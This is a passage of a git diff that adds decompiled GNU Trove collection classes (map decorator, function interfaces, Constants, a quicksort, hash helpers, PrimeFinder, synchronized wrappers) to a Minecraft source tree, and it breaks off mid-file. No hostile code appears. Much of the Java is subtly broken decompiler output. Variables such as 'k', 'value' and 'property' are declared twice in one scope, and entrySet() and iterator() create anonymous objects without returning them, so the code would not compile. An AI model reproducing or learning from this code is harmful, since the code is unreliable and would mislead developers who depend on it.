+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Short get(Object key)
+  {
+    short k;
+    
+
+
+    if (key != null) { short k;
+      if ((key instanceof Short)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    short v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Short remove(Object key)
+  {
+    short k;
+    
+
+
+    if (key != null) { short k;
+      if ((key instanceof Short)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    short v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Short, Short>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TShortShortMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Short, Short>> iterator()
+      {
+        new Iterator() {
+          private final TShortShortIterator it = _map.iterator();
+          
+          public Map.Entry<Short, Short> next() {
+            it.advance();
+            final Short key = wrapKey(it.key());
+            final Short v = wrapValue(it.value());
+            new Map.Entry() {
+              private Short val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Short getKey()
+              {
+                return key;
+              }
+              
+              public Short getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Short setValue(Short value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Short, Short> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Short key = (Short)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Short, Short>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TShortShortMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Short)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Short)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Short, ? extends Short> map)
+  {
+    Iterator<? extends Map.Entry<? extends Short, ? extends Short>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Short, ? extends Short> e = (Map.Entry)it.next();
+      put((Short)e.getKey(), (Short)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Short wrapKey(short k)
+  {
+    return Short.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected short unwrapKey(Object key)
+  {
+    return ((Short)key).shortValue();
+  }
+  
+
+
+
+
+
+
+  protected Short wrapValue(short k)
+  {
+    return Short.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected short unwrapValue(Object value)
+  {
+    return ((Short)value).shortValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TShortShortMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/function/TByteFunction.java b/src/minecraft/gnu/trove/function/TByteFunction.java
new file mode 100644
index 0000000..bd1db5f
--- /dev/null
+++ b/src/minecraft/gnu/trove/function/TByteFunction.java
@@ -0,0 +1,6 @@
+package gnu.trove.function;
+
+public abstract interface TByteFunction
+{
+  public abstract byte execute(byte paramByte);
+}
diff --git a/src/minecraft/gnu/trove/function/TCharFunction.java b/src/minecraft/gnu/trove/function/TCharFunction.java
new file mode 100644
index 0000000..08caa17
--- /dev/null
+++ b/src/minecraft/gnu/trove/function/TCharFunction.java
@@ -0,0 +1,6 @@
+package gnu.trove.function;
+
+public abstract interface TCharFunction
+{
+  public abstract char execute(char paramChar);
+}
diff --git a/src/minecraft/gnu/trove/function/TDoubleFunction.java b/src/minecraft/gnu/trove/function/TDoubleFunction.java
new file mode 100644
index 0000000..b4eb762
--- /dev/null
+++ b/src/minecraft/gnu/trove/function/TDoubleFunction.java
@@ -0,0 +1,6 @@
+package gnu.trove.function;
+
+public abstract interface TDoubleFunction
+{
+  public abstract double execute(double paramDouble);
+}
diff --git a/src/minecraft/gnu/trove/function/TFloatFunction.java b/src/minecraft/gnu/trove/function/TFloatFunction.java
new file mode 100644
index 0000000..70a8d40
--- /dev/null
+++ b/src/minecraft/gnu/trove/function/TFloatFunction.java
@@ -0,0 +1,6 @@
+package gnu.trove.function;
+
+public abstract interface TFloatFunction
+{
+  public abstract float execute(float paramFloat);
+}
diff --git a/src/minecraft/gnu/trove/function/TIntFunction.java b/src/minecraft/gnu/trove/function/TIntFunction.java
new file mode 100644
index 0000000..779a666
--- /dev/null
+++ b/src/minecraft/gnu/trove/function/TIntFunction.java
@@ -0,0 +1,6 @@
+package gnu.trove.function;
+
+public abstract interface TIntFunction
+{
+  public abstract int execute(int paramInt);
+}
diff --git a/src/minecraft/gnu/trove/function/TLongFunction.java b/src/minecraft/gnu/trove/function/TLongFunction.java
new file mode 100644
index 0000000..ca195d6
--- /dev/null
+++ b/src/minecraft/gnu/trove/function/TLongFunction.java
@@ -0,0 +1,6 @@
+package gnu.trove.function;
+
+public abstract interface TLongFunction
+{
+  public abstract long execute(long paramLong);
+}
diff --git a/src/minecraft/gnu/trove/function/TObjectFunction.java b/src/minecraft/gnu/trove/function/TObjectFunction.java
new file mode 100644
index 0000000..f80550a
--- /dev/null
+++ b/src/minecraft/gnu/trove/function/TObjectFunction.java
@@ -0,0 +1,6 @@
+package gnu.trove.function;
+
+public abstract interface TObjectFunction<T, R>
+{
+  public abstract R execute(T paramT);
+}
diff --git a/src/minecraft/gnu/trove/function/TShortFunction.java b/src/minecraft/gnu/trove/function/TShortFunction.java
new file mode 100644
index 0000000..05fc452
--- /dev/null
+++ b/src/minecraft/gnu/trove/function/TShortFunction.java
@@ -0,0 +1,6 @@
+package gnu.trove.function;
+
+public abstract interface TShortFunction
+{
+  public abstract short execute(short paramShort);
+}
diff --git a/src/minecraft/gnu/trove/impl/Constants.java b/src/minecraft/gnu/trove/impl/Constants.java
new file mode 100644
index 0000000..f896b4f
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/Constants.java
@@ -0,0 +1,164 @@
+package gnu.trove.impl;
+
+import java.io.PrintStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Constants
+{
+  private static final boolean VERBOSE = System.getProperty("gnu.trove.verbose", null) != null;
+  public static final int DEFAULT_CAPACITY = 10;
+  public static final float DEFAULT_LOAD_FACTOR = 0.5F;
+  public static final byte DEFAULT_BYTE_NO_ENTRY_VALUE;
+  public static final short DEFAULT_SHORT_NO_ENTRY_VALUE;
+  public static final char DEFAULT_CHAR_NO_ENTRY_VALUE;
+  public static final int DEFAULT_INT_NO_ENTRY_VALUE;
+  public static final long DEFAULT_LONG_NO_ENTRY_VALUE;
+  public static final float DEFAULT_FLOAT_NO_ENTRY_VALUE;
+  public static final double DEFAULT_DOUBLE_NO_ENTRY_VALUE;
+  
+  public Constants() {}
+  
+  static {
+    String property = System.getProperty("gnu.trove.no_entry.byte", "0");
+    byte value; byte value; if ("MAX_VALUE".equalsIgnoreCase(property)) { value = Byte.MAX_VALUE; } else { byte value;
+      if ("MIN_VALUE".equalsIgnoreCase(property)) value = Byte.MIN_VALUE; else
+        value = Byte.valueOf(property).byteValue();
+    }
+    if (value > Byte.MAX_VALUE) { value = Byte.MAX_VALUE;
+    } else if (value < Byte.MIN_VALUE) value = Byte.MIN_VALUE;
+    DEFAULT_BYTE_NO_ENTRY_VALUE = value;
+    if (VERBOSE) {
+      System.out.println("DEFAULT_BYTE_NO_ENTRY_VALUE: " + DEFAULT_BYTE_NO_ENTRY_VALUE);
+    }
+    
+
+
+
+
+
+
+
+    String property = System.getProperty("gnu.trove.no_entry.short", "0");
+    short value; short value; if ("MAX_VALUE".equalsIgnoreCase(property)) { value = Short.MAX_VALUE; } else { short value;
+      if ("MIN_VALUE".equalsIgnoreCase(property)) value = Short.MIN_VALUE; else
+        value = Short.valueOf(property).shortValue();
+    }
+    if (value > Short.MAX_VALUE) { value = Short.MAX_VALUE;
+    } else if (value < Short.MIN_VALUE) value = Short.MIN_VALUE;
+    DEFAULT_SHORT_NO_ENTRY_VALUE = value;
+    if (VERBOSE) {
+      System.out.println("DEFAULT_SHORT_NO_ENTRY_VALUE: " + DEFAULT_SHORT_NO_ENTRY_VALUE);
+    }
+    
+
+
+
+
+
+
+
+    String property = System.getProperty("gnu.trove.no_entry.char", "\000");
+    char value; char value; if ("MAX_VALUE".equalsIgnoreCase(property)) { value = 65535; } else { char value;
+      if ("MIN_VALUE".equalsIgnoreCase(property)) value = '\000'; else
+        value = property.toCharArray()[0];
+    }
+    if (value > 65535) { value = 65535;
+    } else if (value < 0) value = '\000';
+    DEFAULT_CHAR_NO_ENTRY_VALUE = value;
+    if (VERBOSE) {
+      System.out.println("DEFAULT_CHAR_NO_ENTRY_VALUE: " + Integer.valueOf(value));
+    }
+    
+
+
+
+
+
+
+
+    String property = System.getProperty("gnu.trove.no_entry.int", "0");
+    int value; int value; if ("MAX_VALUE".equalsIgnoreCase(property)) { value = Integer.MAX_VALUE; } else { int value;
+      if ("MIN_VALUE".equalsIgnoreCase(property)) value = Integer.MIN_VALUE; else
+        value = Integer.valueOf(property).intValue(); }
+    DEFAULT_INT_NO_ENTRY_VALUE = value;
+    if (VERBOSE) {
+      System.out.println("DEFAULT_INT_NO_ENTRY_VALUE: " + DEFAULT_INT_NO_ENTRY_VALUE);
+    }
+    
+
+
+
+
+
+
+
+    String property = System.getProperty("gnu.trove.no_entry.long", "0");
+    long value; long value; if ("MAX_VALUE".equalsIgnoreCase(property)) { value = Long.MAX_VALUE; } else { long value;
+      if ("MIN_VALUE".equalsIgnoreCase(property)) value = Long.MIN_VALUE; else
+        value = Long.valueOf(property).longValue(); }
+    DEFAULT_LONG_NO_ENTRY_VALUE = value;
+    if (VERBOSE) {
+      System.out.println("DEFAULT_LONG_NO_ENTRY_VALUE: " + DEFAULT_LONG_NO_ENTRY_VALUE);
+    }
+    
+
+
+
+
+
+
+
+    String property = System.getProperty("gnu.trove.no_entry.float", "0");
+    float value; float value; if ("MAX_VALUE".equalsIgnoreCase(property)) { value = Float.MAX_VALUE; } else { float value;
+      if ("MIN_VALUE".equalsIgnoreCase(property)) { value = Float.MIN_VALUE;
+      } else { float value;
+        if ("MIN_NORMAL".equalsIgnoreCase(property)) { value = 1.17549435E-38F; } else { float value;
+          if ("NEGATIVE_INFINITY".equalsIgnoreCase(property)) { value = Float.NEGATIVE_INFINITY; } else { float value;
+            if ("POSITIVE_INFINITY".equalsIgnoreCase(property)) { value = Float.POSITIVE_INFINITY;
+            } else
+              value = Float.valueOf(property).floatValue(); } } } }
+    DEFAULT_FLOAT_NO_ENTRY_VALUE = value;
+    if (VERBOSE) {
+      System.out.println("DEFAULT_FLOAT_NO_ENTRY_VALUE: " + DEFAULT_FLOAT_NO_ENTRY_VALUE);
+    }
+    
+
+
+
+
+
+
+
+    String property = System.getProperty("gnu.trove.no_entry.double", "0");
+    double value; double value; if ("MAX_VALUE".equalsIgnoreCase(property)) { value = Double.MAX_VALUE; } else { double value;
+      if ("MIN_VALUE".equalsIgnoreCase(property)) { value = Double.MIN_VALUE;
+      } else { double value;
+        if ("MIN_NORMAL".equalsIgnoreCase(property)) { value = 2.2250738585072014E-308D; } else { double value;
+          if ("NEGATIVE_INFINITY".equalsIgnoreCase(property)) { value = Double.NEGATIVE_INFINITY; } else { double value;
+            if ("POSITIVE_INFINITY".equalsIgnoreCase(property)) { value = Double.POSITIVE_INFINITY;
+            } else
+              value = Double.valueOf(property).doubleValue(); } } } }
+    DEFAULT_DOUBLE_NO_ENTRY_VALUE = value;
+    if (VERBOSE) {
+      System.out.println("DEFAULT_DOUBLE_NO_ENTRY_VALUE: " + DEFAULT_DOUBLE_NO_ENTRY_VALUE);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/DualPivotQuicksort.java b/src/minecraft/gnu/trove/impl/DualPivotQuicksort.java
new file mode 100644
index 0000000..32994fc
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/DualPivotQuicksort.java
@@ -0,0 +1,124 @@
+package gnu.trove.impl;
+
+
+public class DualPivotQuicksort
+{
+  public DualPivotQuicksort() {}
+  
+  public static void sort(int[] a)
+  {
+    sort(a, 0, a.length);
+  }
+  
+  public static void sort(int[] a, int fromIndex, int toIndex) {
+    rangeCheck(a.length, fromIndex, toIndex);
+    dualPivotQuicksort(a, fromIndex, toIndex - 1, 3);
+  }
+  
+  private static void rangeCheck(int length, int fromIndex, int toIndex) {
+    if (fromIndex > toIndex) {
+      throw new IllegalArgumentException("fromIndex(" + fromIndex + ") > toIndex(" + toIndex + ")");
+    }
+    if (fromIndex < 0) {
+      throw new ArrayIndexOutOfBoundsException(fromIndex);
+    }
+    if (toIndex > length) {
+      throw new ArrayIndexOutOfBoundsException(toIndex);
+    }
+  }
+  
+  private static void swap(int[] a, int i, int j) {
+    int temp = a[i];
+    a[i] = a[j];
+    a[j] = temp;
+  }
+  
+  private static void dualPivotQuicksort(int[] a, int left, int right, int div) {
+    int len = right - left;
+    
+    if (len < 27) {
+      for (int i = left + 1; i <= right; i++) {
+        for (int j = i; (j > left) && (a[j] < a[(j - 1)]); j--) {
+          swap(a, j, j - 1);
+        }
+      }
+      return;
+    }
+    int third = len / div;
+    
+
+    int m1 = left + third;
+    int m2 = right - third;
+    
+    if (m1 <= left) {
+      m1 = left + 1;
+    }
+    if (m2 >= right) {
+      m2 = right - 1;
+    }
+    if (a[m1] < a[m2]) {
+      swap(a, m1, left);
+      swap(a, m2, right);
+    }
+    else {
+      swap(a, m1, right);
+      swap(a, m2, left);
+    }
+    
+    int pivot1 = a[left];
+    int pivot2 = a[right];
+    
+
+    int less = left + 1;
+    int great = right - 1;
+    
+
+    for (int k = less; k <= great; k++) {
+      if (a[k] < pivot1) {
+        swap(a, k, less++);
+      }
+      else if (a[k] > pivot2) {
+        while ((k < great) && (a[great] > pivot2)) {
+          great--;
+        }
+        swap(a, k, great--);
+        
+        if (a[k] < pivot1) {
+          swap(a, k, less++);
+        }
+      }
+    }
+    
+    int dist = great - less;
+    
+    if (dist < 13) {
+      div++;
+    }
+    swap(a, less - 1, left);
+    swap(a, great + 1, right);
+    
+
+    dualPivotQuicksort(a, left, less - 2, div);
+    dualPivotQuicksort(a, great + 2, right, div);
+    
+
+    if ((dist > len - 13) && (pivot1 != pivot2)) {
+      for (int k = less; k <= great; k++) {
+        if (a[k] == pivot1) {
+          swap(a, k, less++);
+        }
+        else if (a[k] == pivot2) {
+          swap(a, k, great--);
+          
+          if (a[k] == pivot1) {
+            swap(a, k, less++);
+          }
+        }
+      }
+    }
+    
+    if (pivot1 < pivot2) {
+      dualPivotQuicksort(a, less, great, div);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/HashFunctions.java b/src/minecraft/gnu/trove/impl/HashFunctions.java
new file mode 100644
index 0000000..8156dad
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/HashFunctions.java
@@ -0,0 +1,87 @@
+package gnu.trove.impl;
+
+
+
+
+
+
+
+
+
+
+public final class HashFunctions
+{
+  public HashFunctions() {}
+  
+
+
+
+
+
+
+
+
+  public static int hash(double value)
+  {
+    assert (!Double.isNaN(value)) : "Values of NaN are not supported.";
+    
+    long bits = Double.doubleToLongBits(value);
+    return (int)(bits ^ bits >>> 32);
+  }
+  
+
+
+
+
+
+
+
+  public static int hash(float value)
+  {
+    assert (!Float.isNaN(value)) : "Values of NaN are not supported.";
+    
+    return Float.floatToIntBits(value * 6.6360896E8F);
+  }
+  
+
+
+
+
+
+
+
+  public static int hash(int value)
+  {
+    return value * 31;
+  }
+  
+
+
+
+
+
+  public static int hash(long value)
+  {
+    return (int)(value ^ value >>> 32) * 31;
+  }
+  
+
+
+
+
+  public static int hash(Object object)
+  {
+    return object == null ? 0 : object.hashCode();
+  }
+  
+
+
+
+
+  public static int fastCeil(float v)
+  {
+    int possible_result = (int)v;
+    if (v - possible_result > 0.0F) possible_result++;
+    return possible_result;
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/PrimeFinder.java b/src/minecraft/gnu/trove/impl/PrimeFinder.java
new file mode 100644
index 0000000..84800c7
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/PrimeFinder.java
@@ -0,0 +1,160 @@
+package gnu.trove.impl;
+
+import java.util.Arrays;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class PrimeFinder
+{
+  public static final int largestPrime = Integer.MAX_VALUE;
+  private static final int[] primeCapacities = { Integer.MAX_VALUE, 5, 11, 23, 47, 97, 197, 397, 797, 1597, 3203, 6421, 12853, 25717, 51437, 102877, 205759, 411527, 823117, 1646237, 3292489, 6584983, 13169977, 26339969, 52679969, 105359939, 210719881, 421439783, 842879579, 1685759167, 433, 877, 1759, 3527, 7057, 14143, 28289, 56591, 113189, 226379, 452759, 905551, 1811107, 3622219, 7244441, 14488931, 28977863, 57955739, 115911563, 231823147, 463646329, 927292699, 1854585413, 953, 1907, 3821, 7643, 15287, 30577, 61169, 122347, 244703, 489407, 978821, 1957651, 3915341, 7830701, 15661423, 31322867, 62645741, 125291483, 250582987, 501165979, 1002331963, 2004663929, 1039, 2081, 4177, 8363, 16729, 33461, 66923, 133853, 267713, 535481, 1070981, 2141977, 4283963, 8567929, 17135863, 34271747, 68543509, 137087021, 274174111, 548348231, 1096696463, 31, 67, 137, 277, 557, 1117, 2237, 4481, 8963, 17929, 35863, 71741, 143483, 286973, 573953, 1147921, 2295859, 4591721, 9183457, 18366923, 36733847, 73467739, 146935499, 293871013, 587742049, 1175484103, 599, 1201, 2411, 4831, 9677, 19373, 38747, 77509, 155027, 310081, 620171, 1240361, 2480729, 4961459, 9922933, 19845871, 39691759, 79383533, 158767069, 317534141, 635068283, 1270136683, 311, 631, 1277, 2557, 5119, 10243, 20507, 41017, 82037, 164089, 328213, 656429, 1312867, 2625761, 5251529, 10503061, 21006137, 42012281, 84024581, 168049163, 336098327, 672196673, 1344393353, 3, 7, 17, 37, 79, 163, 331, 673, 1361, 2729, 5471, 10949, 21911, 43853, 87719, 175447, 350899, 701819, 1403641, 2807303, 5614657, 11229331, 22458671, 44917381, 89834777, 179669557, 359339171, 718678369, 1437356741, 43, 89, 179, 359, 719, 1439, 2879, 5779, 11579, 23159, 46327, 92657, 185323, 370661, 741337, 1482707, 2965421, 5930887, 11861791, 23723597, 47447201, 94894427, 189788857, 379577741, 759155483, 1518310967, 379, 761, 1523, 3049, 6101, 12203, 24407, 48817, 97649, 195311, 390647, 781301, 1562611, 3125257, 6250537, 12501169, 25002389, 50004791, 100009607, 200019221, 400038451, 800076929, 1600153859 };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static
+  {
+    Arrays.sort(primeCapacities);
+  }
+  
+
+
+
+
+
+
+
+  public static final int nextPrime(int desiredCapacity)
+  {
+    int i = Arrays.binarySearch(primeCapacities, desiredCapacity);
+    if (i < 0)
+    {
+
+      i = -i - 1;
+    }
+    return primeCapacities[i];
+  }
+  
+  public PrimeFinder() {}
+}
diff --git a/src/minecraft/gnu/trove/impl/TSynchronizedCollections.java b/src/minecraft/gnu/trove/impl/TSynchronizedCollections.java
new file mode 100644
index 0000000..5bda9d1
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/TSynchronizedCollections.java
@@ -0,0 +1,11392 @@
+package gnu.trove.impl;
+
+import gnu.trove.TByteCollection;
+import gnu.trove.TCharCollection;
+import gnu.trove.TDoubleCollection;
+import gnu.trove.TFloatCollection;
+import gnu.trove.TIntCollection;
+import gnu.trove.TLongCollection;
+import gnu.trove.TShortCollection;
+import gnu.trove.list.TByteList;
+import gnu.trove.list.TCharList;
+import gnu.trove.list.TDoubleList;
+import gnu.trove.list.TFloatList;
+import gnu.trove.list.TIntList;
+import gnu.trove.list.TLongList;
+import gnu.trove.list.TShortList;
+import gnu.trove.map.TByteByteMap;
+import gnu.trove.map.TByteCharMap;
+import gnu.trove.map.TByteDoubleMap;
+import gnu.trove.map.TByteFloatMap;
+import gnu.trove.map.TByteIntMap;
+import gnu.trove.map.TByteShortMap;
+import gnu.trove.map.TCharCharMap;
+import gnu.trove.map.TCharDoubleMap;
+import gnu.trove.map.TCharLongMap;
+import gnu.trove.map.TCharShortMap;
+import gnu.trove.map.TDoubleCharMap;
+import gnu.trove.map.TDoubleDoubleMap;
+import gnu.trove.map.TDoubleFloatMap;
+import gnu.trove.map.TDoubleIntMap;
+import gnu.trove.map.TDoubleLongMap;
+import gnu.trove.map.TDoubleShortMap;
+import gnu.trove.map.TFloatByteMap;
+import gnu.trove.map.TFloatCharMap;
+import gnu.trove.map.TFloatDoubleMap;
+import gnu.trove.map.TFloatFloatMap;
+import gnu.trove.map.TFloatLongMap;
+import gnu.trove.map.TFloatShortMap;
+import gnu.trove.map.TIntCharMap;
+import gnu.trove.map.TIntFloatMap;
+import gnu.trove.map.TIntIntMap;
+import gnu.trove.map.TLongByteMap;
+import gnu.trove.map.TLongIntMap;
+import gnu.trove.map.TLongLongMap;
+import gnu.trove.map.TLongShortMap;
+import gnu.trove.map.TShortDoubleMap;
+import gnu.trove.map.TShortLongMap;
+import gnu.trove.map.TShortShortMap;
+import gnu.trove.procedure.TByteProcedure;
+import gnu.trove.procedure.TCharProcedure;
+import gnu.trove.procedure.TDoubleProcedure;
+import gnu.trove.procedure.TFloatProcedure;
+import gnu.trove.procedure.TIntProcedure;
+import gnu.trove.procedure.TLongProcedure;
+import gnu.trove.procedure.TShortProcedure;
+import java.io.IOException;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.Collection;
+import java.util.Map;
+
+public class TSynchronizedCollections
+{
+  private TSynchronizedCollections() {}
+  
+  public static class TSynchronizedDoubleCollection implements TDoubleCollection, Serializable
+  {
+    private static final long serialVersionUID = 3053995032091335093L;
+    final TDoubleCollection c;
+    final Object mutex;
+    
+    public TSynchronizedDoubleCollection(TDoubleCollection c)
+    {
+      if (c == null)
+        throw new NullPointerException();
+      this.c = c;
+      mutex = this;
+    }
+    
+    public TSynchronizedDoubleCollection(TDoubleCollection c, Object mutex) { this.c = c;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return c.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return c.isEmpty();
+      } }
+    
+    public boolean contains(double o) { synchronized (mutex) { return c.contains(o);
+      } }
+    
+    public double[] toArray() { synchronized (mutex) { return c.toArray();
+      } }
+    
+    public double[] toArray(double[] a) { synchronized (mutex) { return c.toArray(a);
+      }
+    }
+    
+    public gnu.trove.iterator.TDoubleIterator iterator() { return c.iterator(); }
+    
+    public boolean add(double e)
+    {
+      synchronized (mutex) { return c.add(e);
+      } }
+    
+    public boolean remove(double o) { synchronized (mutex) { return c.remove(o);
+      }
+    }
+    
+    public boolean containsAll(Collection<?> coll) { synchronized (mutex) { return c.containsAll(coll);
+      } }
+    
+    public boolean containsAll(TDoubleCollection coll) { synchronized (mutex) { return c.containsAll(coll);
+      } }
+    
+    public boolean containsAll(double[] array) { synchronized (mutex) { return c.containsAll(array);
+      }
+    }
+    
+    public boolean addAll(Collection<? extends Double> coll) { synchronized (mutex) { return c.addAll(coll);
+      } }
+    
+    public boolean addAll(TDoubleCollection coll) { synchronized (mutex) { return c.addAll(coll);
+      } }
+    
+    public boolean addAll(double[] array) { synchronized (mutex) { return c.addAll(array);
+      }
+    }
+    
+    public boolean removeAll(Collection<?> coll) { synchronized (mutex) { return c.removeAll(coll);
+      } }
+    
+    public boolean removeAll(TDoubleCollection coll) { synchronized (mutex) { return c.removeAll(coll);
+      } }
+    
+    public boolean removeAll(double[] array) { synchronized (mutex) { return c.removeAll(array);
+      }
+    }
+    
+    public boolean retainAll(Collection<?> coll) { synchronized (mutex) { return c.retainAll(coll);
+      } }
+    
+    public boolean retainAll(TDoubleCollection coll) { synchronized (mutex) { return c.retainAll(coll);
+      } }
+    
+    public boolean retainAll(double[] array) { synchronized (mutex) { return c.retainAll(array);
+      } }
+    
+    public double getNoEntryValue() { return c.getNoEntryValue(); }
+    
+    public boolean forEach(TDoubleProcedure procedure) { synchronized (mutex) { return c.forEach(procedure);
+      }
+    }
+    
+    public void clear() { synchronized (mutex) { c.clear();
+      } }
+    
+    public String toString() { synchronized (mutex) { return c.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedFloatCollection
+    implements TFloatCollection, Serializable
+  {
+    private static final long serialVersionUID = 3053995032091335093L;
+    
+    final TFloatCollection c;
+    final Object mutex;
+    
+    public TSynchronizedFloatCollection(TFloatCollection c)
+    {
+      if (c == null)
+        throw new NullPointerException();
+      this.c = c;
+      mutex = this;
+    }
+    
+    public TSynchronizedFloatCollection(TFloatCollection c, Object mutex) { this.c = c;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return c.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return c.isEmpty();
+      } }
+    
+    public boolean contains(float o) { synchronized (mutex) { return c.contains(o);
+      } }
+    
+    public float[] toArray() { synchronized (mutex) { return c.toArray();
+      } }
+    
+    public float[] toArray(float[] a) { synchronized (mutex) { return c.toArray(a);
+      }
+    }
+    
+    public gnu.trove.iterator.TFloatIterator iterator() { return c.iterator(); }
+    
+    public boolean add(float e)
+    {
+      synchronized (mutex) { return c.add(e);
+      } }
+    
+    public boolean remove(float o) { synchronized (mutex) { return c.remove(o);
+      }
+    }
+    
+    public boolean containsAll(Collection<?> coll) { synchronized (mutex) { return c.containsAll(coll);
+      } }
+    
+    public boolean containsAll(TFloatCollection coll) { synchronized (mutex) { return c.containsAll(coll);
+      } }
+    
+    public boolean containsAll(float[] array) { synchronized (mutex) { return c.containsAll(array);
+      }
+    }
+    
+    public boolean addAll(Collection<? extends Float> coll) { synchronized (mutex) { return c.addAll(coll);
+      } }
+    
+    public boolean addAll(TFloatCollection coll) { synchronized (mutex) { return c.addAll(coll);
+      } }
+    
+    public boolean addAll(float[] array) { synchronized (mutex) { return c.addAll(array);
+      }
+    }
+    
+    public boolean removeAll(Collection<?> coll) { synchronized (mutex) { return c.removeAll(coll);
+      } }
+    
+    public boolean removeAll(TFloatCollection coll) { synchronized (mutex) { return c.removeAll(coll);
+      } }
+    
+    public boolean removeAll(float[] array) { synchronized (mutex) { return c.removeAll(array);
+      }
+    }
+    
+    public boolean retainAll(Collection<?> coll) { synchronized (mutex) { return c.retainAll(coll);
+      } }
+    
+    public boolean retainAll(TFloatCollection coll) { synchronized (mutex) { return c.retainAll(coll);
+      } }
+    
+    public boolean retainAll(float[] array) { synchronized (mutex) { return c.retainAll(array);
+      } }
+    
+    public float getNoEntryValue() { return c.getNoEntryValue(); }
+    
+    public boolean forEach(TFloatProcedure procedure) { synchronized (mutex) { return c.forEach(procedure);
+      }
+    }
+    
+    public void clear() { synchronized (mutex) { c.clear();
+      } }
+    
+    public String toString() { synchronized (mutex) { return c.toString();
+      } }
+    
+    private void writeObject(ObjectOutputStream s) throws IOException { synchronized (mutex) { s.defaultWriteObject();
+      }
+    }
+  }
+  
+
+  public static class TSynchronizedIntCollection
+    implements TIntCollection, Serializable
+  {
+    private static final long serialVersionUID = 3053995032091335093L;
+    
+    final TIntCollection c;
+    final Object mutex;
+    
+    public TSynchronizedIntCollection(TIntCollection c)
+    {
+      if (c == null)
+        throw new NullPointerException();
+      this.c = c;
+      mutex = this;
+    }
+    
+    public TSynchronizedIntCollection(TIntCollection c, Object mutex) { this.c = c;
+      this.mutex = mutex;
+    }
+    
+    public int size() {
+      synchronized (mutex) { return c.size();
+      } }
+    
+    public boolean isEmpty() { synchronized (mutex) { return c.isEmpty();
+      } }
+    
